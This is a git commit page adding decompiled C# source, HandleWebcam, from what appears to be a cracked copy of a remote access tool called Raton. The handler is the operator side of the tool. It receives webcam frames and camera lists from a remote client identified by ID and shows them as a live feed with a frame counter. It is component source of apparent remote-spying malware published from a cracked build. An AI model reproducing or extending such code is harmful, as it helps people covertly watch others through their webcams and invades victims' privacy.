initial commit
This commit is contained in:
@@ -0,0 +1,141 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleWebcam
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Monitor;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleWebcam
|
||||
{
|
||||
private Stopwatch stopwatch = new Stopwatch();
|
||||
|
||||
public HandleWebcam(SillyClient SillyClient, Unpack unpack)
|
||||
{
|
||||
HandleWebcam handleWebcam = this;
|
||||
string uid = unpack.GetAsString("UID");
|
||||
string formPrefix = "Webcam | Client ID: " + uid;
|
||||
ratonWebcam webcamForm = (ratonWebcam) null;
|
||||
if (Application.OpenForms.Count > 0)
|
||||
{
|
||||
Form openForm = Application.OpenForms[0];
|
||||
if (openForm.InvokeRequired)
|
||||
openForm.Invoke((Delegate) (() => webcamForm = Application.OpenForms.OfType<ratonWebcam>().FirstOrDefault<ratonWebcam>((Func<ratonWebcam, bool>) (f => f.Text.StartsWith(formPrefix) && !f.IsDisposed))));
|
||||
else
|
||||
webcamForm = Application.OpenForms.OfType<ratonWebcam>().FirstOrDefault<ratonWebcam>((Func<ratonWebcam, bool>) (f => f.Text.StartsWith(formPrefix) && !f.IsDisposed));
|
||||
}
|
||||
if (webcamForm == null)
|
||||
return;
|
||||
if (webcamForm.SillyClient == null)
|
||||
webcamForm.SillyClient = SillyClient;
|
||||
switch (unpack.GetAsString("Command"))
|
||||
{
|
||||
case "Start":
|
||||
this.SafeInvoke((Control) webcamForm, (Action) (() =>
|
||||
{
|
||||
if (webcamForm.IsDisposed)
|
||||
return;
|
||||
handleWebcam.ProcessImage(unpack.GetAsByteArray("Image"), webcamForm, uid);
|
||||
}));
|
||||
break;
|
||||
case "List":
|
||||
this.SafeInvoke((Control) webcamForm, (Action) (() =>
|
||||
{
|
||||
if (webcamForm.IsDisposed)
|
||||
return;
|
||||
string asString = unpack.GetAsString("Cams");
|
||||
if (string.IsNullOrEmpty(asString))
|
||||
return;
|
||||
string[] items = asString.Split('|');
|
||||
if (items.Length != 0)
|
||||
{
|
||||
webcamForm.flatComboBox1.Items.Clear();
|
||||
webcamForm.flatComboBox1.Items.AddRange((object[]) items);
|
||||
webcamForm.flatComboBox1.SelectedIndex = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
webcamForm.flatComboBox1.Items.Clear();
|
||||
webcamForm.flatComboBox1.Items.Add((object) "No webcam detected");
|
||||
webcamForm.flatComboBox1.SelectedIndex = 0;
|
||||
}
|
||||
}));
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void ProcessImage(byte[] imageBytes, ratonWebcam webcamForm, string uid)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (imageBytes == null || webcamForm == null || webcamForm.IsDisposed || webcamForm.pctBoxWebcam == null || webcamForm.pctBoxWebcam.IsDisposed)
|
||||
return;
|
||||
Image imageFromBytes = this.GetImageFromBytes(imageBytes);
|
||||
if (imageFromBytes != null)
|
||||
{
|
||||
Image image = webcamForm.pctBoxWebcam.Image;
|
||||
webcamForm.pctBoxWebcam.Image = imageFromBytes;
|
||||
image?.Dispose();
|
||||
}
|
||||
++webcamForm.FPS;
|
||||
if (webcamForm.sw.ElapsedMilliseconds < 1000L)
|
||||
return;
|
||||
webcamForm.Text = $"Webcam | Client ID: {uid} | FPS: {webcamForm.FPS}";
|
||||
webcamForm.FPS = 0;
|
||||
webcamForm.sw.Restart();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private Image GetImageFromBytes(byte[] imageBytes)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (MemoryStream memoryStream = new MemoryStream(imageBytes))
|
||||
return Image.FromStream((Stream) memoryStream);
|
||||
}
|
||||
catch
|
||||
{
|
||||
return (Image) null;
|
||||
}
|
||||
}
|
||||
|
||||
private void SafeInvoke(Control control, Action action)
|
||||
{
|
||||
if (control == null)
|
||||
return;
|
||||
if (control.IsDisposed)
|
||||
return;
|
||||
try
|
||||
{
|
||||
if (control.InvokeRequired)
|
||||
control.BeginInvoke((Delegate) (() =>
|
||||
{
|
||||
if (control.IsDisposed)
|
||||
return;
|
||||
action();
|
||||
}));
|
||||
else
|
||||
action();
|
||||
}
|
||||
catch (ObjectDisposedException ex)
|
||||
{
|
||||
}
|
||||
catch (InvalidOperationException ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user